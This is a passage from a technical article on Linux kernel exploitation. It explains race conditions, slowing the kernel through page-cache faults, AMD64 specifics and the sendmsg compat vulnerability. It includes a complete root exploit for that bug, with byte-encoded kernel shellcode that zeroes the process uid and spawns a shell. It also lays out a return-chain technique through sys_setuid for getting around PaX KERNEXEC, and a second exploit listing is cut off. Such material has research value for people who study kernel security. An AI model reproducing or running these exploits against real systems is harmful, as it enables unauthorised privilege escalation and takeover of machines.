Heap and Stack Overflow (even more, NULL pointer dereference) are seldomly found on their own, and, since the automatic and human auditing work goes on and on, they're going to be even more rare.

What will probably survive for more time are 'logical bugs', which may lead, at the end, to a classic overflow.

Figure out a modelization of 'logical bugs' is, in our opinion, nearly impossible, each one is a story on itself.

Notwithstanding this, one typology of those is quite interesting (and 'widespread') and at least some basic approaches to it are suitable for a generic description.

We're talking about 'race conditions'.

In short, we have a race condition everytime we have a small window of time that we can use to subvert the operating system behaviour. A race condition is usually the consequence of a forgotten lock or other syncronization primitive or the use of a variable 'too much time after' the sanitizing of its value. Just point your favorite vuln database search engine towards 'kernel race condition' and you'll find many different examples.

Winning the race is our goal. This is easier on SMP systems, since the two racing threads (the one following the 'raceable kernel path' and the other competing to win the race) can be scheduled (and be bounded) on different CPUs. We just need to have the 'racing thread' go faster than the other one, since they both can execute in parallel.

Winning a race on UP is harder : we have to force the first kernel path to sleep (and thus to re‑schedule). We have also to 'force' the scheduler into selecting our 'racing' thread, so we have to take care of scheduling algorithm implementation (ex. priority based). On a system with a low CPU load this is generally easy to get : the racing thread is usually 'spinning' on some condition and is likely the best candidate on the runqueue.

We're going now to focus more on 'forcing' a kernel path to sleep, analyzing the nowadays common interface to access files, the page cache. After that we'll present the AMD64 architecture and show a real race exploit for Linux on it, based on the sendmsg [5] vulnerability. Winning the race in that case turns the vuln into a stack based one, so the discussion will analize stack based explotation on Linux/AMD64 too.

‑‑‑[ 2.4.1 ‑ Forcing a kernel path to sleep

If you want to win a race, what's better than slowing down your opponent? And what's slower than accessing the hard disk, in a modern computer ? Operating systems designers know that the I/O over the disk is one of the major bottleneck on system performances and know aswell that it is one of the most frequent operations requested.

Disk accessing and Virtual Memory are closely tied : virtual memory needs to access the disk to accomplish demand paging and in/out swapping, while the filesystem based I/O (both direct read/write and memory mapping of files) works in units of pages and relays on VM functions to perform the write out of 'dirty' pages. Moreover, to sensibly increase performances, frequently accessed disk pages are kept in RAM, into the so‑called 'Page Cache'.

Since RAM isn't an inexhaustible resource, pages to be loaded and 'cached' into it have to be carefully 'selected'. The first skimming is made by the 'Demand Paging' approach : a page is loaded from disk into memory only when it is referenced, by the page fault handler code.

Once a filesystem page is loaded into memory, it enters into the 'Page Cache' and stays in memory for an unspecified time (depending on disk activity and RAM availability, generally a LRU policy is used as an evict‑policy).

Since it's quite common for an userland application to repeatedly access the same disk content/pages (or for different applications, to access common files), the 'Page Cache' sensibly increases performances.

One last thing that we have to discuss is the filesystem 'page clustering'. Another common principle in 'caching' is the 'locality'. Pages near the referenced one are likely to be accessed in a near future and since we're accessing the disk we can avoid the future seek‑rotation latency if we load in more pages after the referenced one. How many to load is determined by the page cluster value.

On Linux that value is 3, so 2^3 pages are loaded after the referenced one. On Solaris, if the pages are 8‑kb sized, the next eight pages on a 64kb boundary are brought in by the seg_vn driver (mmap‑case).

Putting all together, if we want to force a kernel path to sleep we need to make it reference an un‑cached page, so that a 'fault' happens due to demand paging implementation. The page fault handler needs to perform disk I/O, so the process is put to sleep and another one is selected by the scheduler. Since probably we want aswell our 'controlled contents' to be at the faulting address we need to mmap the pages, modify them and then exhaust the page cache before making the kernel re‑access them again.

Filling the 'page cache' has also the effect of consuming a large quantity of RAM and thus increasing the in/out swapping. On modern operating systems one can't create a condition of memory pressure only by exhausting the page cache (as it was possible on very old implementations), since only some amount of RAM is dedicated to the Page Cache and it would keep on stealing pages from itself, leaving other subsystems free to perform well. But we can manage to exhaust those subsystem aswell, for example by making the kernel do a large amount of 'surviving' slab‑allocations.

Working to put the VM under pressure is something to take always in mind, since, done that, one can manage to slow down the kernel (favouring races) and make kmalloc or other allocation function to fail. (A thing that seldomly happens on normal behaviour).

It is time, now, for another real life situation. We'll show the sendmsg [5] vulnerability and exploiting code and we'll describe briefly the AMD64 architectural more exploiting‑relevant details.

‑‑‑[ 2.4.2 ‑ AMD64 and race condition exploiting: sendmsg

AMD64 is the 64‑bit 'extension' of the x86 architecture, which is natively supported. It supports 64‑bit registers, pointers/virtual addresses and integer/logic operations. AMD64 has two primary modes of operation, 'Long mode', which is the standard 64‑bit one (32‑bit and 16‑bit binaries can be still run with almost no performance impact, or even, if recompiled, with some benefit from the extended number of registers, thanks to the sometimes‑called 'compatibility mode') and 'Legacy mode', for 32‑bit operating systems, which is basically just like having a standard x86 processor environment.

Even if we won't use all of them in the sendmsg exploit, we're going now to sum a couple of interesting features of the AMD64 architecture :

‑ The number of general purpose register has been extended from 8 up to 16. The registers are all 64‑bit long (referred with 'r[name|num]', f.e. rax, r10). Just like what happened when took over the transition from 16‑bit to 32‑bit, the lower 32‑bit of general purpose register are accessible with the 'e' prefix (f.e. eax).

‑ push/pop on the stack are 64‑bit operations, so 8 bytes are pushed/popped each time. Pointers are 64‑bit too and that allows a theorical virtual address space of 2^64 bytes. As happens for the UltraSPARC architecture, current implementations address a limited virtual address space (2^48 bytes) and thus have a VA‑hole (the least significant 48 bits are used and bits from 48 up to 63 must be copies of bit 47 : the hole is thus between 0x7FFFFFFFFFFF and 0xFFFF800000000000).

This limitation is strictly implementation‑dependant, so any future implementation might take advantage of the full 2^64 bytes range.

‑ It is now possible to reference data relative to the Instruction Pointer register (RIP). This is both a good and a bad news, since it makes easier writing position independent (shell)code, but also makes it more efficient (opening the way for more performant PIE‑alike implementations)

‑ The (in)famous NX bit (bit 63 of the page table entry) is implemented and so pages can be marked as No‑Exec by the operating system. This is less an issue than over UltraSPARC since actually there's no operating system which implements a separated userspace/kernelspace addressing, thus leaving open space to the use of the 'return‑to‑userspace' tecnique.

‑ AMD64 doesn't support anymore (in 'long mode') the use of segmentation. This choice makes harder, in our opinion, the creation of a separated user/kernel address space. Moreover the FS and GS registers are still used for different pourposes. As we'll see, the Linux Operating System keeps the GS register pointing to the 'current' PDA (Per Processor Data Structure). (check : /include/asm‑x86_64/pda.h struct x8664_pda .. anyway we'll get back on that in a short).

After this brief summary (if you want to learn more about the AMD64 architecture you can check the reference manuals at [3]) it is time now to focus over the 'real vulnerability', the sendmsg [5] one :

"When we copy 32bit ‑>msg_control contents to kernel, we walk the same userland data twice without sanity checks on the second pass. Moreover, if original looks small enough, we end up copying to on‑stack array."

< linux‑2.6.9/net/compat.c >

int cmsghdr_from_user_compat_to_kern(struct msghdr *kmsg,

unsigned char *stackbuf, int stackbuf_size)

{

struct compat_cmsghdr __user *ucmsg;

struct cmsghdr *kcmsg, *kcmsg_base;

compat_size_t ucmlen;

__kernel_size_t kcmlen, tmp;

kcmlen = 0;

kcmsg_base = kcmsg = (struct cmsghdr *)stackbuf; [1]

[...]

while(ucmsg != NULL) {

if(get_user(ucmlen, &ucmsg‑>cmsg_len)) [2] return ‑EFAULT;

/* Catch bogons. */

if(CMSG_COMPAT_ALIGN(ucmlen) < CMSG_COMPAT_ALIGN(sizeof(struct compat_cmsghdr))) return ‑EINVAL; if((unsigned long)(((char __user *)ucmsg ‑ (char __user *)kmsg‑>msg_control)

+ ucmlen) > kmsg‑>msg_controllen) [3]

return ‑EINVAL;

tmp = ((ucmlen ‑ CMSG_COMPAT_ALIGN(sizeof(*ucmsg))) + CMSG_ALIGN(sizeof(struct cmsghdr)));

kcmlen += tmp; 4]

ucmsg = cmsg_compat_nxthdr(kmsg, ucmsg, ucmlen); }

[...]

if(kcmlen > stackbuf_size) [5]

kcmsg_base = kcmsg = kmalloc(kcmlen, GFP_KERNEL);

[...]

while(ucmsg != NULL) {

__get_user(ucmlen, &ucmsg‑>cmsg_len); [6] tmp = ((ucmlen ‑ CMSG_COMPAT_ALIGN(sizeof(*ucmsg))) + CMSG_ALIGN(sizeof(struct cmsghdr))); kcmsg‑>cmsg_len = tmp; __get_user(kcmsg‑>cmsg_level, &ucmsg‑>cmsg_level); __get_user(kcmsg‑>cmsg_type, &ucmsg‑>cmsg_type);

/* Copy over the data. */

if(copy_from_user(CMSG_DATA(kcmsg), [7]

CMSG_COMPAT_DATA(ucmsg),

(ucmlen ‑

CMSG_COMPAT_ALIGN(sizeof(*ucmsg)))))

goto out_free_efault;

< / >

As it is said in the advisory, the vulnerability is a double‑reference to some userland data (at [2] and at [6]) without sanitizing the value the second time it is got from the userland (at [3] the check is performed, instead). That 'data' is the 'size' of the user‑part to copy‑in ('ucmlen'), and it's used, at [7], inside the copy_from_user.

This is a pretty common scenario for a race condition : if we create two different threads, make the first one enter the codepath and , after [4], we manage to put it to sleep and make the scheduler choice the other thread, we can change the 'ucmlen' value and thus perform a 'buffer overflow'.

The kind of overflow we're going to perform is 'decided' at [5] : if the len is little, the buffer used will be in the stack, otherwise it will be kmalloc'ed. Both the situation are exploitable, but we've chosen the stack based one (we have already presented a slab exploit for the Linux operating system before). We're going to use, inside the exploit, the tecnique we've presented in the subsection before to force a process to sleep, that is making it access data on a cross page boundary (with the second page never referenced before nor already swapped in by the page clustering mechanism) :

+‑‑‑‑‑‑‑‑‑‑‑‑+ ‑‑‑‑‑‑‑‑> 0x20020000 [MMAP_ADDR + 32 * PAGE_SIZE] [*] | |

| cmsg_len | first cmsg_len starts at 0x2001fff4

| cmsg_level | first struct compat_cmsghdr

| cmsg_type |

|‑‑‑‑‑‑‑‑‑‑‑‑| ‑‑‑‑‑‑‑‑> 0x20020000 [cross page boundary]

| cmsg_len | second cmsg_len starts at 0x20020000)

| cmsg_level | second struct compat_cmsghdr

| cmsg_type |

| |

+‑‑‑‑‑‑‑‑‑‑‑‑+ ‑‑‑‑‑‑‑‑> 0x20021000

[*] One of those so‑called 'runtime adjustement'. The page clustering wasn't showing the expected behaviour in the first 32 mmaped‑pages, while was just working as expected after.

As we said, we're going to perform a stack‑based explotation writing past the 'stackbuf' variable. Let's see where we get it from :

< linux‑2.6.9/net/socket.c >

asmlinkage long sys_sendmsg(int fd, struct msghdr __user *msg, unsigned flags)

{

struct compat_msghdr __user *msg_compat =

(struct compat_msghdr __user *)msg;

struct socket *sock;

char address[MAX_SOCK_ADDR];

struct iovec iovstack[UIO_FASTIOV], *iov = iovstack; unsigned char ctl[sizeof(struct cmsghdr) + 20]; unsigned char *ctl_buf = ctl;

struct msghdr msg_sys;

int err, ctl_len, iov_size, total_len;

[...]

if ((MSG_CMSG_COMPAT & flags) && ctl_len) {

err = cmsghdr_from_user_compat_to_kern(&msg_sys, ctl, sizeof(ctl));

[...]

< / >

The situation is less nasty as it seems (at least on the systems we tested the code on) : thanks to gcc reordering the stack variables we get our 'msg_sys' struct placed as if it was the first variable.

That simplifies a lot our exploiting task, since we don't have to take care of 'emulating' in userspace the structure referenced between our overflow and the 'return' of the function (for example the struct sock). Exploiting in this 'second case' would be slightly more complex, but doable aswell.

The shellcode for the exploit is not much different (as expected, since the AMD64 is a 'superset' of the x86 architecture) from the ones provided before for the Linux/x86 environment, netherless we've two focus on two important different points : the 'thread/task struct dereference' and the 'userspace context switch approach'.

For the first point, let's start analyzing the get_current() implementation :

< linux‑2.6.9/include/asm‑x86_64/current.h >

#include <asm/pda.h>

static inline struct task_struct *get_current(void)

{

struct task_struct *t = read_pda(pcurrent);

return t;

}

#define current get_current()

[...]

#define GET_CURRENT(reg) movq %gs:(pda_pcurrent),reg

< / >

< linux‑2.6.9/include/asm‑x86_64/pda.h >

struct x8664_pda {

struct task_struct *pcurrent; /* Current process */

unsigned long data_offset; /* Per cpu data offset from linker

address */

struct x8664_pda *me; /* Pointer to itself */

unsigned long kernelstack; /* top of kernel stack for current */

[...]

#define pda_from_op(op,field) ({ \

typedef typeof_field(struct x8664_pda, field) T__; T__ ret__; \ switch (sizeof_field(struct x8664_pda, field)) { \ case 2: \

asm volatile(op "w %%gs:%P1,%0":"=r" (ret__):"i"(pda_offset(field)):"memory"); break;\

[...]

#define read_pda(field) pda_from_op("mov",field)

< / >

The task_struct is thus no more into the 'current stack' (more precisely, referenced from the thread_struct which is actually saved into the 'current stack'), but is stored into the 'struct x8664_pda'. This struct keeps many information relative to the 'current' process and the CPU it is running over (kernel stack address, irq nesting counter, cpu it is running over, number of NMI on that cpu, etc).

As you can see from the 'pda_from_op' macro, during the execution of a Kernel Path, the address of the 'struct x8664_pda' is kept inside the %gs register. Moreover, the 'pcurrent' member (which is the one we're actually interested in) is the first one, so obtaining it from inside a shellcode is just a matter of doing a :

movq %gs:0x0, %rax

From that point on the 'scanning' to locate uid/gid/etc is just the same used in the previously shown exploits.

The second point which quite differs from the x86 case is the 'restore' part (which is, also, a direct consequence of the %gs using). First of all we have to do a '64‑bit based' restore, that is we've to push the 64‑bit registers RIP,CC,RFLAGS,RSP and SS and call, at the end, the 'iretq' instruction (the extended version of the 'iret' one on x86). Just before returning we've to remember to perform the 'swapgs' instruction, which swaps the %gs content with the one of the KernelGSbase (MSR address C000_0102h).

If we don't perform the gs restoring, at the next syscall or interrupt the kernel will use an invalid value for the gs register and will just crash.

Here's the shellcode in asm inline notation :

void stub64bit()

{

asm volatile (

"movl %0, %%esi\t\n"

"movq %%gs:0, %%rax\n"

"xor %%ecx, %%ecx\t\n"

"1: cmp $0x12c, %%ecx\t\n"

"je 4f\t\n"

"movl (%%rax), %%edx\t\n"

"cmpl %%esi, %%edx\t\n"

"jne 3f\t\n"

"movl 0x4(%%rax),%%edx\t\n"

"cmp %%esi, %%edx\t\n"

"jne 3f\t\n"

"xor %%edx, %%edx\t\n"

"movl %%edx, 0x4(%%rax)\t\n"

"jmp 4f\t\n"

"3: add $4,%%rax\t\n"

"inc %%ecx\t\n"

"jmp 1b\t\n"

"4:\t\n"

"swapgs\t\n"

"movq $0x000000000000002b,0x20(%%rsp)\t\n" "movq %1,0x18(%%rsp)\t\n"

"movq $0x0000000000000246,0x10(%%rsp)\t\n" "movq $0x0000000000000023,0x8(%%rsp)\t\n" "movq %2,0x0(%%rsp)\t\n" "iretq\t\n"

: : "i"(UID), "i"(STACK_OFFSET), "i"(CODE_OFFSET) );

}

With UID being the 'uid' of the current running process and STACK_OFFSET and CODE_OFFSET the address of the stack and code 'segment' we're returning into in userspace. All those values are taken and patched at runtime in the exploit 'make_kjump' function :

< stuff/expl/linux/sracemsg.c >

#define PAGE_SIZE 0x1000

#define MMAP_ADDR ((void*)0x20000000)

#define MMAP_NULL ((void*)0x00000000)

#define PAGE_NUM 128

#define PATCH_CODE(base,offset,value) \

*((uint32_t *)((char*)base + offset)) = (uint32_t)(value)

#define fatal_errno(x,y) { perror(x); exit(y); }

struct cmsghdr *g_ancillary;

/* global shared value to sync threads for race */

volatile static int glob_race = 0;

#define UID_OFFSET 1

#define STACK_OFF_OFFSET 69

#define CODE_OFF_OFFSET 95

[...]

int make_kjump(void)

{

void *stack_map = mmap((void*)(0x11110000), 0x2000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 0, 0); if(stack_map == MAP_FAILED)

fatal_errno("mmap", 1);

void *shellcode_map = mmap(MMAP_NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 0, 0);

if(shellcode_map == MAP_FAILED)

fatal_errno("mmap", 1);

memcpy(shellcode_map, kernel_stub, sizeof(kernel_stub)‑1);

PATCH_CODE(MMAP_NULL, UID_OFFSET, getuid()); PATCH_CODE(MMAP_NULL, STACK_OFF_OFFSET, 0x11111111); PATCH_CODE(MMAP_NULL, CODE_OFF_OFFSET, &eip_do_exit);

}

< / >

The rest of the exploit should be quite self‑explanatory and we're going to show the code here after in a short. Note the lowering of the priority inside start_thread_priority ('nice(19)'), so that we have some more chance to win the race (the 'glob_race' variable works just like a spinning lock for the main thread ‑ check 'race_func()').

As a last note, we use the 'rdtsc' (read time stamp counter) instruction to calculate the time that intercurred while trying to win the race. If this gap is high it is quite probable that a scheduling happened. The task of 'flushing all pages' (inside page cache), so that we'll be sure that we'll end using demand paging on cross boundary access, is not implemented inside the code (it could have been easily added) and is left to the exploit runner. Since we have to create the file with controlled data, those pages end up cached in the page cache. We have to force the subsystem into discarding them. It shouldn't be hard for you, if you followed the discussion so far, to perform tasks that would 'flush the needed pages' (to disk) or add code to automatize it. (hint : mass find & cat * > /dev/null is an idea).

Last but not least, since the vulnerable function is inside 'compat.c', which is the 'compatibility mode' to run 32‑bit based binaries, remember to compile the exploit with the ‑m32 flag.

< stuff/expl/linux/sracemsg.c >

#include <stdio.h>

#include <signal.h>

#include <unistd.h>

#include <stdlib.h>

#include <string.h>

#include <stdint.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

#include <sys/mman.h>

#include <sched.h>

#include <sys/socket.h>

#define PAGE_SIZE 0x1000

#define MMAP_ADDR ((void*)0x20000000)

#define MMAP_NULL ((void*)0x00000000)

#define PAGE_NUM 128

#define PATCH_CODE(base,offset,value) \

*((uint32_t *)((char*)base + offset)) = (uint32_t)(value)

#define fatal_errno(x,y) { perror(x); exit(y); }

struct cmsghdr *g_ancillary;

/* global shared value to sync threads for race */

volatile static int glob_race = 0;

#define UID_OFFSET 1

#define STACK_OFF_OFFSET 69

#define CODE_OFF_OFFSET 95

char kernel_stub[] =

"\xbe\xe8\x03\x00\x00" // mov $0x3e8,%esi

"\x65\x48\x8b\x04\x25\x00\x00\x00\x00" // mov %gs:0x0,%rax

"\x31\xc9" // xor %ecx,%ecx (15

"\x81\xf9\x2c\x01\x00\x00" // cmp $0x12c,%ecx

"\x74\x1c" // je 400af0

<stub64bit+0x38>

"\x8b\x10" // mov (%rax),%edx

"\x39\xf2" // cmp %esi,%edx

"\x75\x0e" // jne 400ae8

<stub64bit+0x30>

"\x8b\x50\x04" // mov 0x4(%rax),%edx

"\x39\xf2" // cmp %esi,%edx

"\x75\x07" // jne 400ae8

<stub64bit+0x30>

"\x31\xd2" // xor %edx,%edx

"\x89\x50\x04" // mov %edx,0x4(%rax)

"\xeb\x08" // jmp 400af0

<stub64bit+0x38>

"\x48\x83\xc0\x04" // add $0x4,%rax

"\xff\xc1" // inc %ecx

"\xeb\xdc" // jmp 400acc

<stub64bit+0x14>

"\x0f\x01\xf8" // swapgs (54

"\x48\xc7\x44\x24\x20\x2b\x00\x00\x00" // movq $0x2b,0x20(%rsp)

"\x48\xc7\x44\x24\x18\x11\x11\x11\x11" // movq $0x11111111,0x18(%rsp)

"\x48\xc7\x44\x24\x10\x46\x02\x00\x00" // movq $0x246,0x10(%rsp)

"\x48\xc7\x44\x24\x08\x23\x00\x00\x00" // movq $0x23,0x8(%rsp) /* 23

32‑bit , 33 64‑bit cs */

"\x48\xc7\x04\x24\x22\x22\x22\x22" // movq $0x22222222,(%rsp)

"\x48\xcf"; // iretq

void eip_do_exit(void)

{

char *argvx[] = {"/bin/sh", NULL};

printf("uid=%d\n", geteuid());

execve("/bin/sh", argvx, NULL);

exit(1);

}

/*

* This function maps stack and code segment

* ‑ 0x0000000000000000 ‑ 0x0000000000001000 (future code space) * ‑ 0x0000000011110000 ‑ 0x0000000011112000 (future stack space) */

int make_kjump(void)

{

void *stack_map = mmap((void*)(0x11110000), 0x2000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 0, 0); if(stack_map == MAP_FAILED)

fatal_errno("mmap", 1);

void *shellcode_map = mmap(MMAP_NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 0, 0);

if(shellcode_map == MAP_FAILED)

fatal_errno("mmap", 1);

memcpy(shellcode_map, kernel_stub, sizeof(kernel_stub)‑1);

PATCH_CODE(MMAP_NULL, UID_OFFSET, getuid()); PATCH_CODE(MMAP_NULL, STACK_OFF_OFFSET, 0x11111111); PATCH_CODE(MMAP_NULL, CODE_OFF_OFFSET, &eip_do_exit);

}

int start_thread_priority(int (*f)(void *), void* arg)

{

char *stack = malloc(PAGE_SIZE*4);

int tid = clone(f, stack + PAGE_SIZE*4 ‑4, CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_VM, arg);

if(tid < 0)

fatal_errno("clone", 1);

nice(19);

sleep(1);

return tid;

}

int race_func(void* noarg)

{

printf("[*] thread racer getpid()=%d\n", getpid());

while(1)

{

if(glob_race)

{

g_ancillary‑>cmsg_len = 500;

return;

}

}

}

uint64_t tsc()

{

uint64_t ret;

asm volatile("rdtsc" : "=A"(ret));

return ret;

}

struct tsc_stamp

{

uint64_t before;

uint64_t after;

uint32_t access;

};

struct tsc_stamp stamp[128];

inline char *flat_file_mmap(int fs)

{

void *addr = mmap(MMAP_ADDR, PAGE_SIZE*PAGE_NUM, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, fs, 0);

if(addr == MAP_FAILED)

fatal_errno("mmap", 1);

return (char*)addr;

}

void scan_addr(char *memory)

{

int i;

for(i=1; i<PAGE_NUM‑1; i++)

{

stamp[i].access = (uint32_t)(memory + i*PAGE_SIZE); uint32_t dummy = *((uint32_t *)(memory + i*PAGE_SIZE‑4)); stamp[i].before = tsc();

dummy = *((uint32_t *)(memory + i*PAGE_SIZE)); stamp[i].after = tsc();

}

}

/* make code access first 32 pages to flush page‑cluster */

/* access: 0x20000000 ‑ 0x2000XXXX */

void start_flush_access(char *memory, uint32_t page_num)

{

int i;

for(i=0; i<page_num; i++)

{

uint32_t dummy = *((uint32_t *)(memory + i*PAGE_SIZE));

}

}

void print_single_result(struct tsc_stamp *entry)

{

printf("Accessing: %p, tsc‑difference: %lld\n", entry‑>access, entry‑>after ‑ entry‑>before);

}

void print_result()

{

int i;

for(i=1; i<PAGE_NUM‑1; i++)

{

printf("Accessing: %p, tsc‑difference: %lld\n", stamp[i].access, stamp[i].after ‑ stamp[i].before);

}

}

void fill_ancillary(struct msghdr *msg, char *ancillary)

{

msg‑>msg_control = ((ancillary + 32*PAGE_SIZE) ‑ sizeof(struct cmsghdr));

msg‑>msg_controllen = sizeof(struct cmsghdr) * 2;

/* set global var thread race ancillary data chunk */

g_ancillary = msg‑>msg_control;

struct cmsghdr* tmp = (struct cmsghdr *)(msg‑>msg_control); tmp‑>cmsg_len = sizeof(struct cmsghdr);

tmp‑>cmsg_level = 0;

tmp‑>cmsg_type = 0;

tmp++;

tmp‑>cmsg_len = sizeof(struct cmsghdr);

tmp‑>cmsg_level = 0;

tmp‑>cmsg_type = 0;

tmp++;

memset(tmp, 0x00, 172);

}

int main()

{

struct tsc_stamp single_stamp = {0};

struct msghdr msg = {0};

memset(&stamp, 0x00, sizeof(stamp));

int fd = open("/tmp/file", O_RDWR);

if(fd == ‑1)

fatal_errno("open", 1);

char *addr = flat_file_mmap(fd);

fill_ancillary(&msg, addr);

munmap(addr, PAGE_SIZE*PAGE_NUM);

close(fd);

make_kjump();

sync();

printf("Flush all pages and press a enter:)\n");

getchar();

fd = open("/tmp/file", O_RDWR);

if(fd == ‑1)

fatal_errno("open", 1);

addr = flat_file_mmap(fd);

int t_pid = start_thread_priority(race_func, NULL); printf("[*] thread main getpid()=%d\n", getpid());

start_flush_access(addr, 32);

int sc[2];

int sp_ret = socketpair(AF_UNIX, SOCK_STREAM, 0, sc); if(sp_ret < 0)

fatal_errno("socketpair", 1);

single_stamp.access = (uint32_t)g_ancillary; single_stamp.before = tsc();

glob_race =1;

sendmsg(sc[0], &msg, 0);

single_stamp.after = tsc();

print_single_result(&single_stamp);

kill(t_pid, SIGKILL);

munmap(addr, PAGE_SIZE*PAGE_NUM);

close(fd);

return 0;

}

< / >

‑‑‑‑‑‑[ 3 ‑ Advanced scenarios

In an attempt to ''complete'' our tractation on kernel exploiting we're now going to discuss two 'advanced scenarios' : a stack based kernel exploit capable to bypass PaX [18] KERNEXEC and Userland / Kernelland split and an effective remote exploit, both for the Linux kernel.

‑‑‑[ 3.1 ‑ PaX KERNEXEC & separated kernel/user space

The PaX KERNEXEC option emulates a no‑exec bit for pages at kernel land on an architecture which hasn't it (x86), while the User / Kerne Land split blocks the 'return‑to‑userland' approach that we have extensively described and used in the paper. With those two protections active we're basically facing the same scenario we encountered discussing the Solaris/SPARC environment, so we won't go in more details here (to avoid duplicating the tractation).

This time, thou, we won't have any executable and controllable memory area (no u_psargs array), and we're going to present a different tecnique which doesn't require to have one. Even if the idea behind applyes well to any no‑exec and separated kernel/userspace environment, as we'll see in a short, this approach is quite architectural (stack management and function call/return implementation) and Operating System (handling of credentials) specific.

Moreover, it requires a precise knowledge of the .text layout of the running kernel, so at least a readable image (which is a default situation on many distros, on Solaris, and on other operating systems we checked) or a large or controlled infoleak is necessary.

The idea behind is not much different from the theory behind 'ret‑into‑libc' or other userland exploiting approaches that attempt to circumvent the non executability of heap and stack : as we know, Linux associates credentials to each process in term of numeric values :

< linux‑2.6.15/include/linux/sched.h >

struct task_struct {

[...]

/* process credentials */

uid_t uid,euid,suid,fsuid;

gid_t gid,egid,sgid,fsgid;

[...]

}

< / >

Sometimes a process needs to raise (or drop, for security reasons) its credentials, so the kernel exports systemcalls to do that.

One of those is sys_setuid :

< linux‑2.6.15/kernel/sys.c >

asmlinkage long sys_setuid(uid_t uid)

{

int old_euid = current‑>euid;

int old_ruid, old_suid, new_ruid, new_suid;

int retval;

retval = security_task_setuid(uid, (uid_t)‑1, (uid_t)‑1, LSM_SETID_ID);

if (retval)

return retval;

old_ruid = new_ruid = current‑>uid;

old_suid = current‑>suid;

new_suid = old_suid;

if (capable(CAP_SETUID)) { [1] if (uid != old_ruid && set_user(uid, old_euid != uid) < 0) return ‑EAGAIN;

new_suid = uid;

} else if ((uid != current‑>uid) && (uid != new_suid)) return ‑EPERM;

if (old_euid != uid)

{

current‑>mm‑>dumpable = suid_dumpable; smp_wmb();

}

current‑>fsuid = current‑>euid = uid; [2] current‑>suid = new_suid;

key_fsuid_changed(current); proc_id_connector(current, PROC_EVENT_UID);

return security_task_post_setuid(old_ruid, old_euid, old_suid, LSM_SETID_ID);

}

< / >

As you can see, the 'security' checks (out of the LSM security_* entry points) are performed at [1] and after those, at [2] the values of fsuid and euid are set equal to the value passed to the function. sys_setuid is a system call, so, due to systemcall convention, parameters are passed in register. More precisely, 'uid' will be passed in '%ebx'. The idea is so simple (and not different from 'ret‑into‑libc' [19] or other userspace page protection evading tecniques like [20]), if we manage to have 0 into %ebx and to jump right in the middle of sys_setuid (and right after the checks) we should be able to change the 'euid' and 'fsuid' of our process and thus raise our priviledges.

Let's see the sys_setuid disassembly to better tune our idea :

[...]

c0120fd0: b8 00 e0 ff ff mov $0xffffe000,%eax [1] c0120fd5: 21 e0 and %esp,%eax

c0120fd7: 8b 10 mov (%eax),%edx c0120fd9: 89 9a 6c 01 00 00 mov %ebx,0x16c(%edx) [2] c0120fdf: 89 9a 74 01 00 00 mov %ebx,0x174(%edx) c0120fe5: 8b 00 mov (%eax),%eax c0120fe7: 89 b0 70 01 00 00 mov %esi,0x170(%eax) c0120fed: 6a 01 push $0x1

c0120fef: 8b 44 24 04 mov 0x4(%esp),%eax c0120ff3: 50 push %eax

c0120ff4: 55 push %ebp

c0120ff5: 57 push %edi

c0120ff6: e8 65 ce 0c 00 call c01ede60

c0120ffb: 89 c2 mov %eax,%edx

c0120ffd: 83 c4 10 add $0x10,%esp [3] c0121000: 89 d0 mov %edx,%eax

c0121002: 5e pop %esi

c0121003: 5b pop %ebx

c0121004: 5e pop %esi

c0121005: 5f pop %edi

c0121006: 5d pop %ebp

c0121007: c3 ret

At [1] the current process task_struct is taken from the kernel stack value. At [2] the %ebx value is copied over the 'euid' and 'fsuid' members of the struct. We have our return address, which is [1].

At that point we need to force somehow %ebx into being 0 (if we're not lucky enough to have it already zero'ed).

To demonstrate this vulnerability we have used the local exploitable buffer overflow in dummy.c driver (KERN_IOCTL_STORE_CHUNK ioctl() command). Since it's a stack based overflow we can chain multiple return address preparing a fake stack frame that we totally control.

We need :

‑ a zero'ed %ebx : the easiest way to achieve that is to find a pop %ebx followed by a ret instruction [we control the stack] :

ret‑to‑pop‑ebx:

[*] c0100cd3: 5b pop %ebx

[*] c0100cd4: c3 ret

we don't strictly need pop %ebx directly followed by ret, we may find a sequence of pops before the ret (and, among those, our pop %ebx). It is just a matter of preparing the right ZERO‑layout for the pop sequence (to make it simple, add a ZERO 4‑bytes sequence for any pop between the %ebx one and the ret)

‑ the return addr where to jump, which is the [1] address shown above

‑ a 'ret‑to‑ret' padding to take care of the stack gap created at [3] by the function epilogue (%esp adding and register popping) :

ret‑to‑ret pad:

[*] 0xffffe413 c3 ret

(we could have used the above ret aswell, this one is into vsyscall page and was used in other exploit where we didn't need so much knowledge of the kernel .text.. it survived here :) )

‑ the address of an iret instruction to return to userland (and a crafted stack frame for it, as we described above while discussing 'Stack Based' explotation) :

ret‑to‑iret:

[*] c013403f: cf iret

Putting all together this is how our 'stack' should look like to perform a correct explotation :

low addresses

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| ret‑to‑ret pad |

| ret‑to‑ret pad |

| .............. |

| ret‑to‑pop ebx |

| 0x00000000 |

| ret‑to‑setuid |

| ret‑to‑ret pad |

| ret‑to‑ret pad |

| ret‑to‑ret pad |

| ............. |

| ............. |

| ret‑to‑iret |

| fake‑iret‑frame|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

high addresses

Once correctly returned to userspace we have successfully modified 'fsuid' and 'euid' value, but our 'ruid' is still the original one. At that point we simply re‑exec ourselves to get euid=0 and then spawn the shell. Code follows :

< stuff/expl/grsec_noexec.c >

#include <sys/ioctl.h>

#include <signal.h>

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

#include <sys/mman.h>

#include "dummy.h"

#define DEVICE "/dev/dummy"

#define NOP 0x90

#define PAGE_SIZE 0x1000

#define STACK_SIZE 8192

//#define STACK_SIZE 4096

#define STACK_MASK ~(STACK_SIZE ‑1)

/* patch it at runtime */

